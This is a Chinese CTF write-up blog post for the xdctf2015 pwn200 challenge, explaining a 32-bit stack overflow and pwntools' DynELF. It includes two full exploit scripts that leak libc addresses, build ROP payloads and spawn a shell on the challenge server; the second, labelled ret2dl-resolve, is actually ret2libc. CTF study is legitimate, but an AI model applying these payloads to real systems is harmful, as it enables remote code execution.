xdctf2015_pwn200

xdctf2015_pwn200

DynELF 使用

# 程序分析

程序检查:32 位程序

image-20220201203856459

主函数:vul 中存在栈溢出

image-20220201203754291

image-20220201203927851

# 关于 DynELF

​ 在做漏洞利用时,由于 ASLR 的影响,我们在获取某些函数地址的时候,需要一些特殊的操作。一种方法是先泄露出 libc.so 中的某个函数,然后根据函数之间的偏移,计算得到我们需要的函数地址,这种方法的局限性在于我们需要能找到和目标服务器上一样的 libc.so,而有些特殊情况下往往并不能找到。而另一种方法,利用如 pwntools 的 DynELF 模块,对内存进行搜索,直接得到我们需要的函数地址。

​ 官方文档里给出了下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
data = p.read(address, 4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data

# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc
main = 0xfeedf4ce
libc = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system') == system

可以看到,为了使用 DynELF,首先需要有一个 leak(address) 函数,通过这一函数可以获取到某个地址上最少 1 byte 的数据,然后将这个函数作为参数调用 d = DynELF(leak, main) ,该模块就初始化完成了,然后就可以使用它提供的函数进行内存搜索,得到我们需要的函数地址。

# 漏洞利用

第一次栈溢出 write 函数泄露 libc 地址,返回 main 函数,使用 DynELF 查找 system 地址写入 /bin/sh,再次 rop 执行拿到 shell

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

r=remote('node4.buuoj.cn',25224)
# r= process('./bof')
elf=ELF('./bof')

read_addr=elf.symbols['read']
write_addr=elf.symbols['write']
main_addr=0x804851c
bss_addr=elf.symbols['__bss_start']

def leak(addr): //write函数泄露libc地址
r.recvline()
payload='a'*0x6c+'b'*0x4+p32(write_addr)+p32(main_addr)+p32(1)+p32(addr)+p32(0x4)
r.sendline(payload)
leak_addr=r.recv(4)
return leak_addr

d=DynELF(leak,elf=ELF('./bof'))
system_addr=d.lookup('system','libc')
payload='a'*0x6c+'b'*0x4+p32(read_addr)+p32(main_addr)+p32(0x0)+p32(bss_addr)+p32(0x8)
r.sendline(payload)
r.sendline('/bin/sh') # 通过read函数读入/bin/sh到bss段

payload='a'*0x6c+'b'*0x4+p32(system_addr)+p32(main_addr)+p32(bss_addr)
r.sendline(payload)

r.interactive()

法二 : ret2dl-resolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding=UTF-8
from pwn import *

context.log_level = 'debug'

sh = remote('node4.buuoj.cn',25224)
elf = ELF('bof')
libc = ELF('./libc-2.23x86.so')

payload = 112 * 'a'
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['main'])
payload += p32(1)
payload += p32(elf.got['write'])
payload += p32(4)

sh.sendline(payload)

write_addr = u32(sh.recvuntil('\xf7')[-4:]) #获取write函数地址

print hex(write_addr)

libcbase = write_addr - libc.symbols['write']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search('/bin/sh').next()

payload = 112 * 'a'
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(binsh)

sh.sendline(payload)

sh.interactive()

# 参考文章

https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/4.8_dynelf.html

Author

y1seco

Posted on

2022-02-01

Updated on

2022-02-01

Licensed under

Comments

:D 一言句子获取中...